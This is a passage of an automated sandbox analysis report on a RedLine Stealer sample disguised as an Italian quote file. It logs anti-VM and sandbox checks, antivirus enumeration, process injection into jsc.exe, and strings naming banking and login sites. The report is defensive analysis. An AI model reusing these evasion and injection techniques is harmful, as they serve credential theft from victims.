Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory allocated: 213C9870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory allocated: 213E35C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 15E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 3190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2EE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Window / User API: threadDelayed 387	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 1488	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 6558	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 7324	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 1204	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Amcache.hve.11.dr	Binary or memory string: VMware
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: tmp806D.tmp.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: tmp806D.tmp.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: tmp806D.tmp.7.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: tmp806D.tmp.7.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.11.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: tmp806D.tmp.7.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: tmp806D.tmp.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: tmp806D.tmp.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: tmp806D.tmp.7.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Amcache.hve.11.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: tmp806D.tmp.7.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: jsc.exe, 00000007.00000002.1431433013.0000000001499000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: Amcache.hve.11.dr	Binary or memory string: vmci.sys
Source: tmp806D.tmp.7.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: tmp806D.tmp.7.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: tmp806D.tmp.7.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: tmp806D.tmp.7.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.11.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.11.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: tmp806D.tmp.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.11.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.11.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: tmp806D.tmp.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.11.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.11.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Amcache.hve.11.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: tmp806D.tmp.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: tmp806D.tmp.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Amcache.hve.11.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual USB Mouse
Source: tmp806D.tmp.7.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Amcache.hve.11.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.11.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.11.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.11.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.11.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.11.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: tmp806D.tmp.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: tmp806D.tmp.7.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.11.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.11.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: tmp806D.tmp.7.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: tmp806D.tmp.7.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.11.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.11.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: tmp806D.tmp.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Preventivo#09678.exe, 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.11.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: tmp806D.tmp.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: tmp806D.tmp.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 41A000	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 41C000	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: F49008	Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Queries volume information: C:\Users\user\Desktop\Preventivo#09678.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.11.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE
